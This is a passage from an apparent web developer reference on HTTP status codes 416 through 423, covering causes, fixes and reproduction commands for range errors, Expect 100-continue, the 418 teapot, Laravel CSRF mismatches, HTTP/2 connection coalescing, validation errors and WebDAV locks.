resume(url, localBytes) { const res = await fetch(url, { headers: { Range: `bytes=${localBytes}-` } }) if (res.status === 416) { const m = /bytes \*\/(\d+)/.exec(res.headers.get('Content-Range') ?? '') if (m && Number(m[1]) === localBytes) return 'already complete' return restartFromZero(url) // file changed; local partial is useless } if (res.status === 200) return restartFromZero(url) // server ignored Range // 206: append res.body to the partial file } ``` For servers, return `Content-Range: bytes */` on every 416, and on nginx cap pathological multi-range requests: ```nginx location /downloads/ { max_ranges 1; # 0 disables range support entirely; default is unlimited } ``` If behind a CDN, purge the object after replacing a file in place, or better, publish new versions under new URLs (content-hashed filenames) so ranges can never straddle two versions. ## Reproduce it ```bash # Ask for a range past the end curl -i -r 999999999- https://example.com/files/small.txt # HTTP/2 416 # content-range: bytes */1024 # wget resume on a finished file wget -c https://example.com/files/small.txt # HTTP request sent, awaiting response... 416 Requested Range Not Satisfiable # The file is already fully retrieved; nothing to do. ``` ## Related - [206 Partial Content](https://howhttpworks.com/status-codes/206): the successful range response, plus `If-Range`. - [Content-Range](https://howhttpworks.com/headers/content-range): syntax for both `bytes a-b/n` and `bytes */n`. - [Range](https://howhttpworks.com/headers/range) and [Accept-Ranges](https://howhttpworks.com/headers/accept-ranges) - [412 Precondition Failed](https://howhttpworks.com/status-codes/412): conditional request failed, a different mechanism. - [400 Bad Request](https://howhttpworks.com/status-codes/400): syntactically broken requests. --- # 417 Expectation Failed: Expect 100-continue > 417 Expectation Failed means a server or proxy rejected your Expect header, usually Expect: 100-continue. Learn the causes and fixes for curl, .NET and Squid. Source: https://howhttpworks.com/status-codes/417 Last reviewed: 2026-10-04 > **TL;DR:** 417 means something on the path rejected your `Expect` header. Nearly every real case is `Expect: 100-continue` meeting a proxy or server that does not support it. Remove the header (`curl -H 'Expect:'`, `ExpectContinue = false`) and the request goes through. ## What Expect: 100-continue does For a large upload, the client can ask permission first: it sends the headers with `Expect: 100-continue`, then waits. A server that is happy answers `100 Continue` and the client sends the body. A server that would reject the request (auth failure, too large) can answer with a final status code immediately, so the client never wastes bandwidth on the body. See [100](https://howhttpworks.com/status-codes/100). ```http POST /upload HTTP/1.1 Host: api.example.com Content-Length: 52428800 Expect: 100-continue HTTP/1.1 100 Continue ``` RFC 9110 §10.1.1: a server that receives an Expect value it does not understand or cannot meet should respond with 417. A server that receives `Expect: 100-continue` from an HTTP/1.0 client should ignore it, and a proxy receiving it must either answer immediately (a final status or its own 100 Continue) or forward it to the next hop, which is where mismatched proxies go wrong. ```http POST /upload HTTP/1.1 Host: api.example.com Content-Length: 52428800 Expect: 100-continue HTTP/1.1 417 Expectation Failed Content-Length: 0 ``` ## Where it comes from - **curl.** It adds `Expect: 100-continue` automatically on POST/PUT when the body is large (the cutoff has changed between curl versions), and for any chunked upload. A proxy that chokes on the header produces 417 for exactly these uploads, while small requests succeed, which is why the failure looks size-dependent. - **.NET.** `HttpWebRequest` sent Expect: 100-continue by default. A common failure was through an old Squid or an HTTP/1.0 gateway. - **Squid and other forward proxies.** Older Squid versions answer 417 for Expect: 100-continue unless configured to tolerate it. Upgrading or removing the header solves it. - **Reverse proxies and WAFs.** A proxy that terminates the request, then forwards HTTP/1.0 or buffers differently, may refuse the expectation. - **Application servers.** Some embedded servers and older CGI-style gateways never implemented 100-continue and reject any `Expect`. To confirm who is rejecting: send the same request directly to the origin (bypassing the proxy), and compare `Server`/`Via` headers on the 417. ## Fix it Remove the header on the client: ```bash # curl: an empty value deletes the header curl -X POST -H 'Expect:' -T bigfile.bin https://api.example.com/upload ``` ```csharp // .NET Framework System.Net.ServicePointManager.Expect100Continue = false; // HttpClient client.DefaultRequestHeaders.ExpectContinue = false; ``` ```python # python-requests never sends Expect: 100-continue, so a 417 here # means you set the header yourself (or a library did) ``` ```go // Go's net/http only sends Expect if you set it yourself: // req.Header.Set("Expect", "100-continue") // and then waits ExpectContinueTimeout (default 1s in DefaultTransport). ``` If you operate the server, support it properly where possible: an application that can validate headers (auth, `Content-Length` vs limits) before reading the body should reply `100 Continue` or a final 4xx early. Proxies in front must forward the interim response. If you cannot, ignoring `Expect: 100-continue` entirely is allowed by RFC 9110, and the client sends the body after its timeout. ## Reproduce it ```bash curl -v -X POST -H 'Expect: 100-continue' -d @bigfile.bin https://api.example.com/upload # > Expect: 100-continue # < HTTP/1.1 417 Expectation Failed curl -v -X POST -H 'Expect:' -d @bigfile.bin https://api.example.com/upload # no Expect header, no 417 ``` ## Related - [100 Continue](https://howhttpworks.com/status-codes/100): the interim response the client is waiting for. - [411 Length Required](https://howhttpworks.com/status-codes/411): another upload refusal. - [413 Content Too Large](https://howhttpworks.com/status-codes/413): reject the body early with this instead of reading it. - [412 Precondition Failed](https://howhttpworks.com/status-codes/412): failed If-* conditions. - [Expect header](https://howhttpworks.com/headers/expect): how to stop curl sending Expect: 100-continue. --- # 418 I'm a Teapot: Origin and Real-World Use > 418 I'm a teapot comes from the 1998 April Fools RFC 2324. See why RFC 9110 reserves it, why Node and Go keep it, and why some sites return it to bots. Source: https://howhttpworks.com/status-codes/418 Last reviewed: 2026-10-04 > **TL;DR:** 418 is a joke status code from an April Fools RFC (2324, 1998). RFC 9110 reserves it as unused, so no standard behaviour exists. When you hit it on a real site, a human or a bot filter deliberately chose it, usually to turn you away as an automated client. ## Origin RFC 2324 (1 April 1998) specified HTCPCP, a protocol for controlling coffee pots. It added methods `BREW` and `WHEN`, a `coffee:` URI scheme, and a status code: `418 I'm a teapot`, to be returned by a teapot asked to brew coffee. RFC 7168 (1 April 2014) extended it to tea, adding a `TEA` method, a `Safe` request header and tea-specific behaviours. ```http BREW /pot-1 HTTP/1.1 Host: coffee.example.com Content-Type: application/coffee-pot-command start HTTP/1.1 418 I'm a teapot Content-Type: text/plain Short and stout. ``` ## Why it is still in your stack In 2017 there was a proposal to drop 418 from libraries. Developers objected (the "Save 418" campaign), and maintainers of Node.js, Go (`http.StatusTeapot`), Python and others kept it. RFC 9110 §15.5.19 then settled the matter by listing it as `(Unused)`, which tells implementers the number is spent, not that it is meaningful. Google keeps an Easter egg at `google.com/teapot`, and many frameworks use 418 in their test suites as a convenient "unusual 4xx" for checking that clients treat unknown codes in the 4xx class as client errors. The relevant rule is RFC 9110 §15: an unrecognised status code is treated like the x00 code of its class, so a client should handle an unknown 4xx as [400](https://howhttpworks.com/status-codes/400). ## What it means when you actually see it The site returned 418 deliberately. The three realistic cases: 1. **Bot or scraper blocking.** Some sites and security layers reply 418 to traffic they have classified as automated: default library user agents (`python-requests/2.x`, `Go-http-client/1.1`), data-centre IP ranges, requests missing typical browser headers, or TLS fingerprints that do not match a real browser. Use the response to find out who sent it: look at the `Server`, `Via`, `Set-Cookie` (vendor cookies) and the body. The code itself carries no information. 2. **A developer's placeholder.** Some APIs return 418 for "I refuse to process this" without a better category. Read the body. 3. **A test or joke endpoint.** `httpbin.org/status/418` returns a teapot ASCII drawing. ```bash curl -i https://httpbin.org/status/418 ``` ```http HTTP/2 418 x-more-info: http://tools.ietf.org/html/rfc2324 content-type: text/plain -=[ teapot ]=- _...._ .' _ _ `. | ."` ^ `". _, \_;`"---"`|// | ;/ \_ _/ `"""` ``` ## If you control the server Do not use 418 for real refusals. Proxies, CDNs, uptime monitors and SDKs have no defined behaviour for it, so they will not retry it, alert on it or cache it consistently. Use [403](https://howhttpworks.com/status-codes/403) for a refusal, [429](https://howhttpworks.com/status-codes/429) with `Retry-After` for throttling, and [451](https://howhttpworks.com/status-codes/451) for legal blocks. If you want the client to learn nothing, nginx's [444](https://howhttpworks.com/status-codes/444) closes the connection with no response. ## If you are the client Check whether the same URL works in a browser. If it does, compare headers (`User-Agent`, `Accept`, `Accept-Language`) with a curl `-v` request. If the site's terms permit automated access, look for an official API or contact the operator, rather than escalating through header spoofing. ## Related - [403 Forbidden](https://howhttpworks.com/status-codes/403): the real refusal code. - [429 Too Many Requests](https://howhttpworks.com/status-codes/429): throttling. - [444 Connection Closed Without Response](https://howhttpworks.com/status-codes/444): silent drop in nginx. --- # 419 Page Expired (Laravel CSRF Token Mismatch) > Laravel 419 Page Expired means the CSRF token did not match the session. Causes: expired session, missing @csrf, dropped cookie, cached forms. Fixes included. Source: https://howhttpworks.com/status-codes/419 Last reviewed: 2026-10-04 > **TL;DR:** 419 is Laravel's own status for a CSRF token mismatch: the token in the request did not match the one in the session. Check that the form has `@csrf`, that the session did not expire while the page was open, and that the session cookie is actually being stored and sent back. ## What it means 419 is not an HTTP standard code. Laravel's CSRF middleware throws a `TokenMismatchException` when the token submitted with a POST, PUT, PATCH or DELETE request is missing or does not equal the token in the user's session, and the framework renders it as 419 with the title "Page Expired". Browsers show the default page, and AJAX clients that send `Accept: application/json` get a JSON body: ```http HTTP/1.1 419 unknown status Content-Type: application/json {"message": "CSRF token mismatch."} ``` The status line often reads `unknown status` because Laravel's underlying Symfony response class has no reason phrase for 419. That is cosmetic; the code is what matters. The token travels as a hidden `_token` form field, an `X-CSRF-TOKEN` header, or an `X-XSRF-TOKEN` header decoded from the `XSRF-TOKEN` cookie. It is validated by the `ValidateCsrfToken` middleware (called `VerifyCsrfToken` in older versions), which is in the `web` middleware group by default. GET, HEAD and OPTIONS requests are not checked. ## Who sent it? The Laravel application. A reverse proxy or CDN has no reason to produce 419, so if you see it, the request reached PHP. The `Set-Cookie: laravel_session=...` header on the page that rendered the form (and the `XSRF-TOKEN` cookie) confirms you are dealing with Laravel's session layer. ## Fix it, in order of likelihood 1. **The form has no token.** Every non-GET form needs `@csrf` (or ``). For fetch or axios calls, send `X-CSRF-TOKEN` from a `` tag; Laravel's default axios setup already sends `X-XSRF-TOKEN` on same-origin requests. 2. **The session expired while the page was open.** The session lifetime defaults to 120 minutes of inactivity. Set it in `.env`: ```bash SESSION_LIFETIME=720 ``` The value is minutes and is read by `config/session.php`. For long-lived forms, refresh the token with a lightweight keep-alive request or catch the 419 in JavaScript and reload. 3. **The session cookie is not being stored.** This shows up as 419 on every login attempt. Check these values: ```bash SESSION_DOMAIN=.example.com # must match the host; use null for host-only SESSION_SECURE_COOKIE=true # only when the site is served over HTTPS SESSION_SAME_SITE=lax # "none" requires Secure ``` `SESSION_SECURE_COOKIE=true` on an HTTP-only site means the browser drops the cookie, so each request starts a new session. Behind a TLS-terminating proxy, configure trusted proxies so Laravel sees HTTPS; otherwise it may not set `Secure` correctly. See [Secure](https://howhttpworks.com/cookies/secure) and [SameSite](https://howhttpworks.com/cookies/same-site). 4. **The session is not shared across servers.** The `file` driver writes to `storage/framework/sessions` on one machine. With several app servers or containers behind a load balancer, use `SESSION_DRIVER=redis`, `database` or `memcached`. Also check the sessions directory is writable. 5. **A cache is serving a stale form.** A CDN or full-page cache that stores HTML containing a `csrf_token` hands every visitor the same token and no matching session. Bypass the cache for pages with forms and for responses that set cookies. 6. **`APP_KEY` changed or differs between servers.** Session cookies are encrypted with it; a mismatch makes every cookie unreadable, so every request is a new session. Run `php artisan config:clear` after changing it. 7. **A third-party POST has no way to carry a token.** Payment webhooks and similar callbacks cannot send one. In Laravel 11 and later: ```php ->withMiddleware(function (Middleware $middleware): void { $middleware->validateCsrfTokens(except: [ 'stripe/*', ]); }) ``` In older apps, add the URI to `$except` in `app/Http/Middleware/VerifyCsrfToken.php`. Do not disable CSRF protection globally. 8. **SPA on another domain.** With Sanctum, call `/sanctum/csrf-cookie` first and make sure `SANCTUM_STATEFUL_DOMAINS` lists the frontend host. A cross-site frontend also runs into SameSite cookie rules. ## Reproduce and verify ```bash # Expect 419: no token and no session curl -i -X POST https://app.example.com/profile -d 'name=test' # Ask for JSON to see the message curl -i -X POST https://app.example.com/profile -H 'Accept: application/json' -d 'name=test' ``` To test the happy path, request the form with `-c jar.txt`, extract the `_token`, and post it back with `-b jar.txt`. If that works but the browser still gets 419, the cookie handling in the browser path is the problem. ## Related codes [403](https://howhttpworks.com/status-codes/403) is what an authorization policy returns, and [401](https://howhttpworks.com/status-codes/401) means authentication is needed. 419 says the request could not be proven to come from your own page. Validation failures in Laravel are `422`, not 419. --- # 421 Misdirected Request: HTTP/2 Connection Coalescing > 421 Misdirected Request means the server cannot answer for the host on this connection. Fix SNI and certificate mismatches caused by HTTP/2 connection reuse. Source: https://howhttpworks.com/status-codes/421 Last reviewed: 2026-10-04 > **TL;DR:** 421 means "you sent this request to the wrong connection". The server will not answer for that hostname on the TLS connection in use. It is most often HTTP/2 connection coalescing meeting a server whose per-host TLS or routing config differs; the fix is consistent config per IP, or non-overlapping certificates. ## What it means RFC 9110 §15.5.20: the request was directed at a server that is not able or willing to produce an authoritative response for the target URI. The client may retry on a different connection. ```http GET /dashboard HTTP/2 :authority: admin.example.com HTTP/2 421 content-type: text/html Misdirected Request The client needs a new connection for this request as the requested host name does not match the Server Name Indication (SNI) in use for this connection. ``` That body is Apache httpd's wording. The error log carries the key: ```text [ssl:error] [pid 2217] AH02032: Hostname admin.example.com provided via SNI and hostname www.example.com provided via HTTP have no compatible SSL setup ``` ## Why it happens: connection coalescing With HTTP/1.1, one connection serves one hostname. HTTP/2 (RFC 9113 §9.1.1) allows a client to reuse a connection for another origin when: 1. the second hostname resolves to an IP the connection already uses, and 2. the certificate on that connection is valid for the second hostname (a wildcard or multi-SAN cert). The browser then sends `www.example.com` and `admin.example.com` requests down one TCP+TLS connection that was set up with SNI `www.example.com`. The server saw only the first SNI during the handshake. If the second hostname is meant to have different TLS parameters, a different client-certificate policy, or is routed by a different virtual host, the server cannot honour it safely and answers 421. Real triggers: - **Apache vhosts with different SSL settings** on the same IP (one requires client certificates or restricts protocols, another does not). - **nginx** with `ssl_verify_client` on one `server` block and not on another that shares the address: when the `Host` header selects a different server block than the SNI did, and client-certificate settings differ, nginx answers 421 rather than serve a client-certificate-protected host on a connection that never asked for a certificate. - **Envoy/Istio gateways, Traefik, HAProxy, Kubernetes ingress** where a wildcard certificate and shared IP let the browser coalesce hosts, but filter chains or routes are selected by SNI. In Istio the symptom is more often an intermittent 404 than a 421. - **CDNs and multi-tenant frontends** that place unrelated customers on one IP with an overlapping SAN set. - **mTLS endpoints** next to ordinary endpoints on the same IP. Symptoms are intermittent and order-dependent: it works when the first page visited is `admin.`, fails when `www.` was visited first. Incognito windows or a second browser behave differently because they have different live connections. ## Diagnose 1. Check whether it only happens on HTTP/2 with a reused connection. `curl --http1.1 https://admin.example.com/` will succeed because each hostname gets its own connection. Give curl two URLs in one invocation so it can reuse the connection: ```bash curl --http2 -v https://www.example.com/ https://admin.example.com/ 2>&1 | grep -E 'Re-using|HTTP/2 |< HTTP' # Re-using existing connection with host www.example.com <- coalescing ``` curl only reuses the connection when its own checks (IP and certificate) allow it, so a clean run does not prove the server is fine; the browser's decision can differ. 2. Compare the certificates and SNI behaviour of both names on the IP: ```bash echo | openssl s_client -connect 203.0.113.10:443 -servername www.example.com 2>/dev/null | openssl x509 -noout -subject -ext subjectAltName echo | openssl s_client -connect 203.0.113.10:443 -servername admin.example.com 2>/dev/null | openssl x509 -noout -subject -ext subjectAltName ``` If both return the same wildcard or SAN list, coalescing is allowed. 3. In Chrome, `chrome://net-export` or the DevTools Network panel with the Connection ID column shows two hostnames sharing one connection. 4. Read the server error log (Apache AH02032) or the Envoy access log, where `response_flags` of `NR` (no route configured) with a 404 or 421 points at a coalesced request. ## Fix it Pick whichever fits the architecture: 1. **Make configuration consistent** across all vhosts that share an IP and certificate (same `SSLProtocol`, `SSLCipherSuite`, `SSLVerifyClient`). Coalescing then is harmless. 2. **Stop the certificate overlap.** Issue separate certificates whose SANs do not cover each other's names, so the browser has no basis to coalesce. For example, an mTLS `admin.example.com` gets its own cert and does not sit under `*.example.com`. This is the usual answer for mTLS. 3. **Separate IPs** for hosts that need different TLS policy. Browsers only coalesce if DNS returns an overlapping address. 4. **Route correctly at the gateway.** In Istio, use one Gateway server with a wildcard host and one credential so both hosts share a filter chain, or have the gateway return 421 for the unmatched host (an EnvoyFilter) so the browser retries on a fresh connection. 5. **As a last resort,** disable HTTP/2 on the affected listener. This costs you multiplexing everywhere on it, so it is a workaround. If you build the server, return 421 only when the TLS context and the request authority conflict, not for unknown hosts (that is [404](https://howhttpworks.com/status-codes/404), or nothing at all as in [444](https://howhttpworks.com/status-codes/444)). RFC 8336 defines an HTTP/2 `ORIGIN` frame that lets a server tell clients exactly which hostnames it will answer for on a connection, which reduces both over- and under-coalescing; support is not universal. ## Related - [400 Bad Request](https://howhttpworks.com/status-codes/400): malformed request rather than a wrong connection. - [403 Forbidden](https://howhttpworks.com/status-codes/403) - [404 Not Found](https://howhttpworks.com/status-codes/404) - [HTTPS and TLS](https://howhttpworks.com/guides/https-and-tls): SNI and certificates. - [Host](https://howhttpworks.com/headers/host) --- # 422 Unprocessable Entity (Unprocessable Content) Explained > 422 Unprocessable Content (formerly Unprocessable Entity): the JSON parsed but failed validation. FastAPI, Laravel and Rails errors, 422 vs 400, RFC 9457. Source: https://howhttpworks.com/status-codes/422 Last reviewed: 2026-10-05 > **TL;DR:** 422 Unprocessable Content means the server rejected the data in your request, usually because a field failed validation. Read the response body, fix the named field or missing CSRF token, then resend the corrected request. ## What you see in your client The messages and response bodies here are illustrative. Client messages use `https://api.example.com/resource`; reason phrases and URLs can vary. - **Axios:** `AxiosError: Request failed with status code 422` with the default status handling. Inspect `error.response.data` for the server's explanation. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves with `response.status === 422` and `response.ok === false`. Check the status before reading the body; HTTP errors do not enter `catch` automatically. [MDN fetch](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 422 Client Error: Unprocessable Entity for url: https://api.example.com/resource` when you call `response.raise_for_status()`. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl -f:** `curl: (22) The requested URL returned error: 422`. Use `curl -i` without `-f` while inspecting the error body. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** `HttpRequestException` with the English message `Response status code does not indicate success: 422 (Unprocessable Entity).` after `EnsureSuccessStatusCode()`. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** `WebClientResponseException$UnprocessableEntity: 422 Unprocessable Entity from POST https://api.example.com/resource` with `retrieve()`. Read `getResponseBodyAsString()`. [Spring 6.2 source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java). - **Spring RestTemplate (6.2):** `HttpClientErrorException$UnprocessableEntity: 422 Unprocessable Entity on POST request for "https://api.example.com/resource": [no body]` with the default error handler and an empty response body. Read the exception body when present. [Message builder](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java), [exception subclasses](https://docs.spring.io/spring-framework/docs/6.2.x/javadoc-api/org/springframework/web/client/HttpClientErrorException.html). Spring 7 adds `WebClientResponseException$UnprocessableContent: 422 Unprocessable Content from POST https://api.example.com/resource`. Both names identify status 422. [Spring source](https://github.com/spring-projects/spring-framework/blob/main/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java). ## What it means RFC 9110 section 15.5.21 defines 422 as: the server understands the content type and the syntax is correct, but it was unable to process the contained instructions. Typical triggers are a missing required field, a wrong data type, an email that fails a format rule, or a business rule such as an end date before the start date. The name was "Unprocessable Entity" in WebDAV (RFC 4918); RFC 9110 renamed it "Unprocessable Content". Libraries and older docs still use either phrase. ```http HTTP/1.1 422 Unprocessable Content Content-Type: application/problem+json { "type": "https://example.com/problems/validation-error", "title": "Your request parameters didn't validate.", "status": 422, "errors": [ { "field": "email", "message": "must be a valid email address" }, { "field": "age", "message": "must be at least 18" } ] } ``` ## What you actually see in each framework FastAPI (Pydantic v2) answers with a `detail` array where `loc` is the path to the bad field: ```json { "detail": [ { "type": "missing", "loc": ["body", "email"], "msg": "Field required", "input": {} } ] } ``` Laravel validation produces this JSON shape when the request expects JSON; a traditional form submission redirects back with session errors: ```json { "message": "The email field is required.", "errors": { "email": ["The email field is required."] } } ``` Rails maps `ActionController::InvalidAuthenticityToken` ("Can't verify CSRF token authenticity") to 422. For form re-renders with errors, controllers choose the status: Turbo displays failed submissions when the response uses a 4xx status such as 422. The GitHub REST API returns 422 with `"message": "Validation Failed"` and an `errors` array of `resource`, `field` and `code`. Spring MVC request validation and Django REST framework serializer validation default to 400; inspect their error bodies for the failing fields. [Spring mappings](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/servlet/mvc/support/DefaultHandlerExceptionResolver.html), [DRF exceptions](https://www.django-rest-framework.org/api-guide/exceptions/). ## Common causes by stack - **FastAPI / Pydantic:** missing fields or invalid path, query and body values produce 422 with a `detail` array; `loc` starts with the input location. Fix the named input, not just the JSON body. [FastAPI validation](https://fastapi.tiangolo.com/tutorial/handling-errors/). - **Laravel:** `$request->validate(...)` throws `ValidationException` on failure; requests expecting JSON receive 422 with `message` and `errors`. Send `Accept: application/json` for an API workflow and fix the rule named in the error. CSRF token mismatches map to [419](https://howhttpworks.com/status-codes/419). [Validation docs](https://laravel.com/docs/12.x/validation), [exception handler](https://github.com/laravel/framework/blob/12.x/src/Illuminate/Foundation/Exceptions/Handler.php). - **Rails:** `ActionController::InvalidAuthenticityToken` maps to 422; restore the CSRF token and matching session cookie. For model validation, the controller chooses the response status; render the failed form with 422 for Turbo. [Rails mappings](https://github.com/rails/rails/blob/main/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb), [Turbo form handling](https://turbo.hotwired.dev/handbook/drive#redirecting-after-a-form-submission). - **Express:** the `safeParse` handler below explicitly selects 422 for schema errors; fix the reported `field` path. Express's JSON parser uses 400 for malformed JSON, so keep parser failures separate from this handler. [Express parser errors](https://expressjs.com/en/resources/middleware/body-parser/#errors). FastAPI also returns 422 for malformed JSON: its router wraps `JSONDecodeError` in `RequestValidationError`, with `type: "json_invalid"` and `msg: "JSON decode error"`. That is a framework convention beyond the RFC's semantic-validation definition. Fix the JSON syntax before looking for a field rule. [FastAPI router source](https://github.com/fastapi/fastapi/blob/master/fastapi/routing.py). ## Fix it as the client 1. Read the response body; do not stop at the status line. The field name is in `loc`, `errors` or `details`. 2. Compare field types to the API schema: `"qty": "2"` vs `2`, dates in ISO 8601 (`2027-01-31T10:00:00Z`), enums with the exact casing. 3. Check for required fields you sent as `null` or an empty string. 4. For Rails CSRF 422s, send the token in `X-CSRF-Token` and make sure the session cookie is attached (see [cookie not sent](https://howhttpworks.com/debug/cookie-not-sent)). Reproduce with curl so you can see the raw body: ```bash curl -sv -X POST https://api.example.com/users \ -H 'Content-Type: application/json' \ -d '{"email":"not-an-email","age":-5}' ``` ## Handling 422 in a workflow With FastAPI, `loc: ["query", "limit"]` points to the URL query, while `["body", "items", 0, "quantity"]` points to the first item in a JSON array. Laravel uses dotted error keys for nested fields, such as `users.0.email`. Match these paths to form fields so users can correct the rejected value. Keep the submitted data available while displaying the error; a status-only alert loses the field information the server already supplied. [FastAPI errors](https://fastapi.tiangolo.com/tutorial/handling-errors/), [Laravel response format](https://laravel.com/docs/12.x/validation#validation-error-response-format). A workflow retry should use corrected input. For a validation failure, route the error body to the step that collects or transforms the data. For a Rails CSRF failure, refresh the page's token and session before submitting again. If the response contains `json_invalid`, validate the serialized bytes instead of changing field values. These are different repairs for the same status number; choose from the response body and the framework that sent it. ## Build it as the API author Return all validation errors at once, in one machine-readable shape. RFC 9457 `application/problem+json` is the standard container: ```javascript // Express with a schema validator such as zod app.post('/users', (req, res) => { const result = userSchema.safeParse(req.body) if (!result.success) { return res.status(422).type('application/problem+json').json({ type: 'https://example.com/problems/validation-error', title: "Your request parameters didn't validate.", status: 422, errors: result.error.issues.map((i) => ({ field: i.path.join('.'), message: i.message })) }) } res.status(201).json(createUser(result.data)) }) ``` Keep secrets out of error output. Use [409 Conflict](https://howhttpworks.com/status-codes/409) when valid data conflicts with current server state; reserve 422 for instructions the API rejects as invalid. ## 422 versus neighbors - [400 Bad Request](https://howhttpworks.com/status-codes/400): broken syntax, unparseable JSON, or a framework that does not distinguish validation. - [409 Conflict](https://howhttpworks.com/status-codes/409): the data is valid but clashes with current server state. - [415 Unsupported Media Type](https://howhttpworks.com/status-codes/415): the body format itself is not accepted. - [413 Content Too Large](https://howhttpworks.com/status-codes/413) (formerly Payload Too Large): the body is over a size limit. The [request builder](https://howhttpworks.com/tools/playground) lets you send an invalid body and inspect the response. See also the comparison [400 vs 422](https://howhttpworks.com/compare/400-vs-422): which of the two to return for validation errors and what common frameworks default to. --- # 423 Locked > The resource is locked and cannot be accessed or modified. Learn about WebDAV locks and how to handle locked resources. Source: https://howhttpworks.com/status-codes/423 Last reviewed: 2026-10-04 > **TL;DR:** Resource is locked by another user or process and can't be modified. Wait for lock to expire or contact the lock owner. ## What is 423 Locked? A **423 Locked** status code means the resource you're trying to access is currently locked and cannot be modified. Think of it like trying to edit a document that someone else has open with exclusive editing rights—you can view it, but you can't make changes until they release the lock. This status code is part of the WebDAV (Web Distributed Authoring and Versioning) extension and is used to prevent conflicting modifications in collaborative environments. ## When Does This Happen? You'll see a 423 Locked response in these common situations: **1. Exclusive Write Lock** ```text User A has exclusive lock on file User B tries to modify → 423 Locked ``` **2. WebDAV File Editing** ```text Document checked out for editing Another user tries to edit → 423 Locked ``` **3. Administrative Lock** ```text Resource locked by administrator Regular user tries to modify → 423 Locked ``` **4. Processing Lock** ```text File being processed (e.g., virus scan, conversion) User tries to access → 423 Locked (temporary) ``` **5. Concurrent Edit Prevention** ```text First user locks resource for editing Second user attempts modification → 423 Locked ``` ## Example Responses **Basic WebDAV Lock:** ```http HTTP/1.1 423 Locked Content-Type: application/xml; charset=utf-8 Lock-Token: /documents/report.docx ``` **With Lock Information:** ```http HTTP/1.1 423 Locked Content-Type: application/json Lock-Token: X-Lock-Owner: alice@example.com X-Lock-Timeout: 900 { "error": "Resource Locked", "message": "This resource is currently locked and cannot be modified", "lock_details": { "lock_token": "urn:uuid:a1b2c3d4-e5f6-4789-a012-3456789abcde", "locked_by": "alice@example.com", "locked_at": "2026-01-18T14:30:00Z", "lock_timeout": 900, "lock_expires_at": "2026-01-18T14:45:00Z", "lock_type": "exclusive" }, "action": "Wait for lock to expire or contact the lock owner" } ``` **Administrative Lock:** ```http HTTP/1.1 423 Locked Content-Type: application/json X-Lock-Type: administrative Retry-After: 3600 { "error": "Resource Locked", "message": "This resource is locked for administrative purposes", "lock_type": "administrative", "reason": "Security audit in progress", "locked_until": "2026-01-18T18:00:00Z", "contact": "admin@example.com" } ``` ## Real-World Example Imagine two team members trying to edit the same document simultaneously: **User Alice Locks Document:** ```http LOCK /documents/quarterly-report.docx HTTP/1.1 Host: webdav.example.com Content-Type: text/xml Depth: 0 Timeout: Second-900 alice@example.com Response: HTTP/1.1 200 OK Lock-Token: Content-Type: application/xml urn:uuid:abc-123-def-456 Second-900 ``` **User Bob Tries to Modify (Fails):** ```http PUT /documents/quarterly-report.docx HTTP/1.1 Host: webdav.example.com Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document Content-Length: 45678 [Document content...] Response: HTTP/1.1 423 Locked Content-Type: application/json Lock-Token: X-Lock-Owner: alice@example.com { "status": 423, "error": "Locked", "message": "Document is locked by another user", "details": { "resource": "/documents/quarterly-report.docx", "lock_token": "urn:uuid:abc-123-def-456", "locked_by": "alice@example.com", "locked_at": "2026-01-18T14:30:00Z", "lock_expires_at": "2026-01-18T14:45:00Z", "time_remaining": "14 minutes" }, "actions": { "wait": "Wait for lock to expire in 14 minutes", "contact": "Contact alice@example.com to release lock", "force_unlock": "Admins can force unlock at /admin/locks/abc-123-def-456" } } ``` **User Bob with Valid Lock Token (Succeeds):** ```http PUT /documents/quarterly-report.docx HTTP/1.1 Host: webdav.example.com If: () ← Valid lock token Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document [Document content...] Response: HTTP/1.1 204 No Content Lock-Token: ``` ## 423 vs Other Access Control Codes | Code | Meaning | Cause | Can Retry? | | ------- | ------------ | --------------------------- | ---------------------- | | **423** | Locked | Resource locked (temporary) | Yes, when unlocked | | **403** | Forbidden | No permission (permanent) | No, need authorization | | **401** | Unauthorized | Not authenticated | Yes, with credentials | | **409** | Conflict | State conflict | Yes, after resolving | ## Important Characteristics **Temporary vs Permanent:** ```text 423 Locked: Temporary restriction - Resource is locked by another user/process - Will become available when unlocked - Usually has timeout 403 Forbidden: Permanent restriction - User lacks permission - Won't change without authorization change ``` **Lock Types:** ```text Exclusive Lock: - Only lock holder can modify - Others get 423 until lock released Shared Lock: - Multiple readers allowed - Writers get 423 - Prevents writes, allows reads ``` **WebDAV Lock Headers:** ```http Lock-Token: Timeout: Second-3600 Depth: 0 or infinity If: () ← Required to modify locked resource ``` ## Common Mistakes **❌ Using 423 for permission issues** ```http HTTP/1.1 423 Locked ← Wrong! User lacks permission Message: You don't have permission to access this resource # Should be: HTTP/1.1 403 Forbidden Message: You don't have permission to access this resource ``` **❌ Not providing lock information** ```http HTTP/1.1 423 Locked Content-Type: text/plain Resource is locked. ← Unhelpful, no details about lock ``` **❌ Not implementing lock timeout** ```http LOCK /resource → Lock created with no timeout (User closes browser, lock never released) ← Resource locked forever! ``` **✅ Correct usage with full information** ```http HTTP/1.1 423 Locked Content-Type: application/json Lock-Token: Retry-After: 900 { "error": "Locked", "lock_owner": "user@example.com", "lock_expires_at": "2026-01-18T15:00:00Z", "retry_after": 900 } ``` ## Getting 423 Locked right **Always Include Lock Details:** ```http HTTP/1.1 423 Locked Content-Type: application/json Lock-Token: X-Lock-Owner: alice@example.com Retry-After: 600 { "error": "Resource Locked", "message": "This resource is currently locked", "lock": { "token": 